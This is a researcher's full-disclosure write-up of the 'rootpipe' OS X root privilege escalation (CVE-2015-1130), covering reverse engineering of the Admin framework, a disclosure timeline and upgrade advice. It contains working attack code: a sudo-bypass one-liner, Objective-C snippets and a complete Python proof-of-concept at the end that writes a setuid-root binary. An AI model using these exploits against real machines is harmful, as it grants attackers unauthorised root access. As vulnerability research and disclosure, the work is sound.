TL;DR

The Admin framework in Apple OS X contains a hidden backdoor API to root privileges. It’s been there for several years (at least since 2011), I found it in October 2014 and it can be exploited to escalate privileges to root from any user account in the system.

The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but any user process can use the same functionality.

Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.

Why I started searching for vulnerabilities in OS X

TrueSec specialists speak at IT conferences worldwide. I wanted to have something new to demo at a Security Conference for Developers in November 2014. I’ve done many proof-of-concept hacks on iOS and Android before, to highlight what malicious code can achieve with vulnerable devices.

This time it was a security conference for developers, and many of them use Apple OS X as their primary operating system. I wanted to show that OS X could be hacked just as easily as iOS or Android. Operating systems are built out of software, developers create this software, developers make mistakes, and mistakes can introduce security vulnerabilities. I wanted to highlight that all software (yeah, even from Apple) contains vulnerabilities, and many are still to be discovered.

Building a nice demo

The first exploit I used was based on CVE-2013-1775, a sudo authentication bypass bug that was patched in version 10.8.5 (Sept 2013). It felt boring that the vulnerability was more than a year old. The exploit code is very simple:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

I talked to my colleague and software developer Philip Åkesson, about the fact that this exploit code uses systemsetup (command line utility) to modify the system time. We were both curious to find out the details of the fix. It turned out that, apart from patching sudo, Apple also changed another thing. They changed so that systemsetup requires root, even to display the help text! When systemsetup is run without root access, the following message is displayed (in 10.8.5 or later):

$ systemsetup You need administrator access to run this tool... exiting!

This message is a bit misleading, since we are actually running this as an admin user. The user account created during installation of OS X will be admin by default. This is something that I think most OS X users don’t care much about, since sudo and application installation requires password input.

Anyway, the message above indicates that root access is now required to perform the commands (which previously could be done with admin rights).

I found the following code through a quick disassembly in Hopper:

Okay, so the systemsetup binary simply checks if we are running as the root user?

Philip tried patching that function (replacing sete with setne), with success:

$ systemsetup > systemsetup > type -help for help.

But so far, we’re only back to the previous behavior of systemsetup (prior to 10.8.5). One example of the commands you can perform with systemsetup is:

$ systemsetup –setremotelogin on

This will enable ssh server on port 22. You can of course also start ssh through launchctl, but launchctl would then require root privileges. So there’s obviously a difference in privileges required! The class name RemoteServerSettings indicates that there’s some kind of interprocess communication, this would explain why operations that require root could be performed. Still, it’s worth mentioning that SSH can also be started through System Preferences (Sharing) without root access.

But I found this discrepancy in permissions interesting, and continued disassembling systemsetup.

The setremotelogin command is implemented in systemsetup as a method called [ServerSettings setRemoteLogin:].

The function does some input checking, and then calls [InternetServices setSSHServerEnabled:]. This is implemented in the Admin framework (used by systemsetup). Disassembly of the Admin framework shows that setSSHServerEnabled is not the only method of the InternetServices interface. There are also methods for starting/stopping many other services. Here’s a listing:

+[InternetServices sharedInternetServices] +[InternetServices sharedInternetServices].sSharedInternetServices -[InternetServices _netFSServerFrameworkBundle] -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce -[InternetServices faxReceiveEnabled] -[InternetServices ftpServerEnabled] -[InternetServices httpdEnabled] -[InternetServices isFTPServerAvailable] -[InternetServices isFaxReceiveAvailable] -[InternetServices isGuestForProtocolEnabled:] -[InternetServices isHttpdAvailable] -[InternetServices isNSCProtocolAvailable:] -[InternetServices isNSCProtocolEnabled:] -[InternetServices isNSServerShuttingDown:] -[InternetServices isOpticalDiscSharingEnabled] -[InternetServices isRemoteAEServerAvailable] -[InternetServices isSSHServerAvailable] -[InternetServices nscServerCancelShutdown:refNum:] -[InternetServices nscServerShutdown:withDelay:] -[InternetServices numberOfClientsForProtocols:] -[InternetServices remoteAEServerEnabled] -[InternetServices saveNatPrefs:] -[InternetServices screensharingEnabled] -[InternetServices sendSIGHUPToEfax] -[InternetServices setFTPServerEnabled:] -[InternetServices setFaxReceiveEnabled:] -[InternetServices setGuestForProtocol:enabled:] -[InternetServices setHttpdEnabled:] -[InternetServices setInetDServiceEnabled:enabled:] -[InternetServices setNSCProtocols:enabled:] -[InternetServices setOpticalDiscSharingEnabled:] -[InternetServices setRemoteAEServerEnabled:] -[InternetServices setSSHServerEnabled:] -[InternetServices setScreensharingEnabled:] -[InternetServices sshServerEnabled] _OBJC_CLASS_$_InternetServices _OBJC_METACLASS_$_InternetServices ___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

Some of these, like setHttpdEnabled and setSSHServerEnabled are implemented using a shared helper method [ADMInternetServices setInetDServiceEnabled:enabled:].

I read more of the code inside Admin framework, but stopped at the following code:

This seems to be the code that creates a user-specific apache configuration file for guest accounts (notice that root is owner of this file):

$ ls -l /etc/apache2/users/ total 8 -rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

A hidden backdoor API to root access is revealed

The last Objective-C method that was called in the code screenshot above is createFileWithContents:path:attributes:. It takes an array of bytes (the data to write), a file path and POSIX file attributes.

Re-using this function from my own Objective-C code would look something like this:

[tool createFileWithContents:data path:[NSString stringWithUTF8String:target] attributes:@{ NSFilePosixPermissions : @0777 }];

The question is how we can get hold of the magic “tool” reference. If we look in the beginning of the code screenshot, the code corresponds to this:

id sharedClient = [objc_lookUpClass("WriteConfigClient") sharedClient]; id tool = [sharedClient remoteProxy];

Is it really that simple? No! 🙂 But we are getting there. I tried doing this in my own code, but got the following error:

### Attempt to send message without connection!

The next thing to do was finding where this error message is printed:

OK, so this is a check to verify that the XPC proxy within my process is initiated. Let’s look at the ocurrences of _onewayMessageDispatcher to locate the initialization code:

The authenticateUsingAuthorization method is where the actual initialization takes place:

This is exactly what I needed. This is creating an XPC client to the writeconfig XPC service and that service is running as root.

The only question was what I should send as argument to authenticateUsingAuthorization? I went back to the systemsetup binary again and found the following:

It seems like the result of [SFAuthorization authorization] could do the trick. Here’s my modified exploit code, ready for a new attempt:

id auth = [objc_lookUpClass("SFAuthorization") authorization]; id sharedClient = [objc_lookUpClass("WriteConfigClient") sharedClient]; [sharedClient authenticateUsingAuthorizationSync: auth]; id tool = [sharedClient remoteProxy]; [tool createFileWithContents:data path:[NSString stringWithUTF8String:target] attributes:@{ NSFilePosixPermissions : @04777 }];

Note that I’m using a Sync-variant of authenticateUsingAuthorization with the same functionality and set the POSIX file permissions to 4777. The file is finally created, and setuid bit is set:

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

Since the setuid bit is set and owner is root, we have a privilege escalation.

My first exploit code was for 10.7.x and 10.8.x, where class and method names are slightly different. The names used above are for 10.9 and later.

There’s still a limitation with the exploit code, it only works for users with admin permissions. As I mentioned earlier, almost all OS X users are admin (since OS X users often are single user systems). Before reporting the issue to Apple, I tried with a standard account, and got the following error message:

### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization Code=-60007 "The operation couldn’t be completed. (com.apple.systemadministration.authorization error -60007.)"

But I actually found a way to make it work for all users later, which means that the exploit is no longer limited to admin accounts only. It is as simple as sending nil to authenticateUsingAuthorizationSync instead of using the result of [SFAuthorization authorization]:

[sharedClient authenticateUsingAuthorizationSync: nil];

It seems like the authorization checks are made by triggering callback functions on the auth-object supplied. For those of you who are not Objective-C programmers: Guess what happens if you call methods on a null reference – or to use Objective-C language, send a message to nil? Nothing! 🙂

Conclusion and recommendation

The Admin framework in Apple OS X contained a hidden backdoor API to root access for several years (at least since 2011, when 10.7 was released). The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but there is no access restriction. This means the API is accessible (through XPC) from any user process in the system.

This is a local privilege escalation to root, which can be used locally or combined with remote code execution exploits.

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.

Our recommendation to all OS X users out there: Upgrade to 10.10.3 (or later).

Rootpipe Full Disclosure live walkthrough, and much more…

I will explain all details of the rootpipe vulnerability in my session at Security Conference 2015, May 28 in Stockholm, Sweden. You’ll see live on stage how attackers find vulnerabilities in your code, even if they only have access to binaries. My colleagues will present other cool stuff that developers should know about, focusing on security threats and how to write secure code. Visit www.securityconf.se for more info.

Timeline

Oct 2 nd 2014: First discovery

2014: First discovery Oct 3 rd 2014: First contact with Apple Product Security Team

2014: First contact with Apple Product Security Team Oct 14 th 2014: Exploit code shared with Apple

2014: Exploit code shared with Apple Oct 24 th 2014: Initial full disclosure date set to Jan 12 th 2015

2014: Initial full disclosure date set to Jan 12 2015 Oct 16 th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe

2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe Nov 14 th 2014: Apple requested to postpone disclosure

2014: Apple requested to postpone disclosure Nov 17 th 2014: Release of OS X 10.10.1, also vulnerable

2014: Release of OS X 10.10.1, also vulnerable Jan 12 th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X

2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X Jan 16 th 2015: CVE-2015-1130 created by Apple

2015: CVE-2015-1130 created by Apple Jan 27 th 2015: Release of OS X 10.10.2, also vulnerable

2015: Release of OS X 10.10.2, also vulnerable March 2 nd 2015: Release of OS X 10.10.3 public beta, issue solved

2015: Release of OS X 10.10.3 public beta, issue solved April 1 st 2015: Apple confirmed that release is coming the second week of April

2015: Apple confirmed that release is coming the second week of April April 8 th 2015: Release of OS X 10.10.3

2015: Release of OS X 10.10.3 April 9th 2015: Full disclosure

Exploit code

######################################################## # # PoC exploit code for rootpipe (CVE-2015-1130) # # Created by Emil Kvarnhammar, TrueSec # # Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2 # ######################################################## import os import sys import platform import re import ctypes import objc import sys from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions from Foundation import NSAutoreleasePool def load_lib(append_path): return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path); def use_old_api(): return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0]) args = sys.argv if len(args) != 3: print "usage: exploit.py source_binary dest_binary_as_root" sys.exit(-1) source_binary = args[1] dest_binary = os.path.realpath(args[2]) if not os.path.exists(source_binary): raise Exception("file does not exist!") pool = NSAutoreleasePool.alloc().init() attr = NSMutableDictionary.alloc().init() attr.setValue_forKey_(04777, NSFilePosixPermissions) data = NSData.alloc().initWithContentsOfFile_(source_binary) print "will write file", dest_binary if use_old_api(): adm_lib = load_lib("/Admin.framework/Admin") Authenticator = objc.lookUpClass("Authenticator") ToolLiaison = objc.lookUpClass("ToolLiaison") SFAuthorization = objc.lookUpClass("SFAuthorization") authent = Authenticator.sharedAuthenticator() authref = SFAuthorization.authorization() # authref with value nil is not accepted on OS X <= 10.8 authent.authenticateUsingAuthorizationSync_(authref) st = ToolLiaison.sharedToolLiaison() tool = st.tool() tool.createFileWithContents_path_attributes_(data, dest_binary, attr) else: adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration") WriteConfigClient = objc.lookUpClass("WriteConfigClient") client = WriteConfigClient.sharedClient() client.authenticateUsingAuthorizationSync_(None) tool = client.remoteProxy() tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0) print "Done!" del pool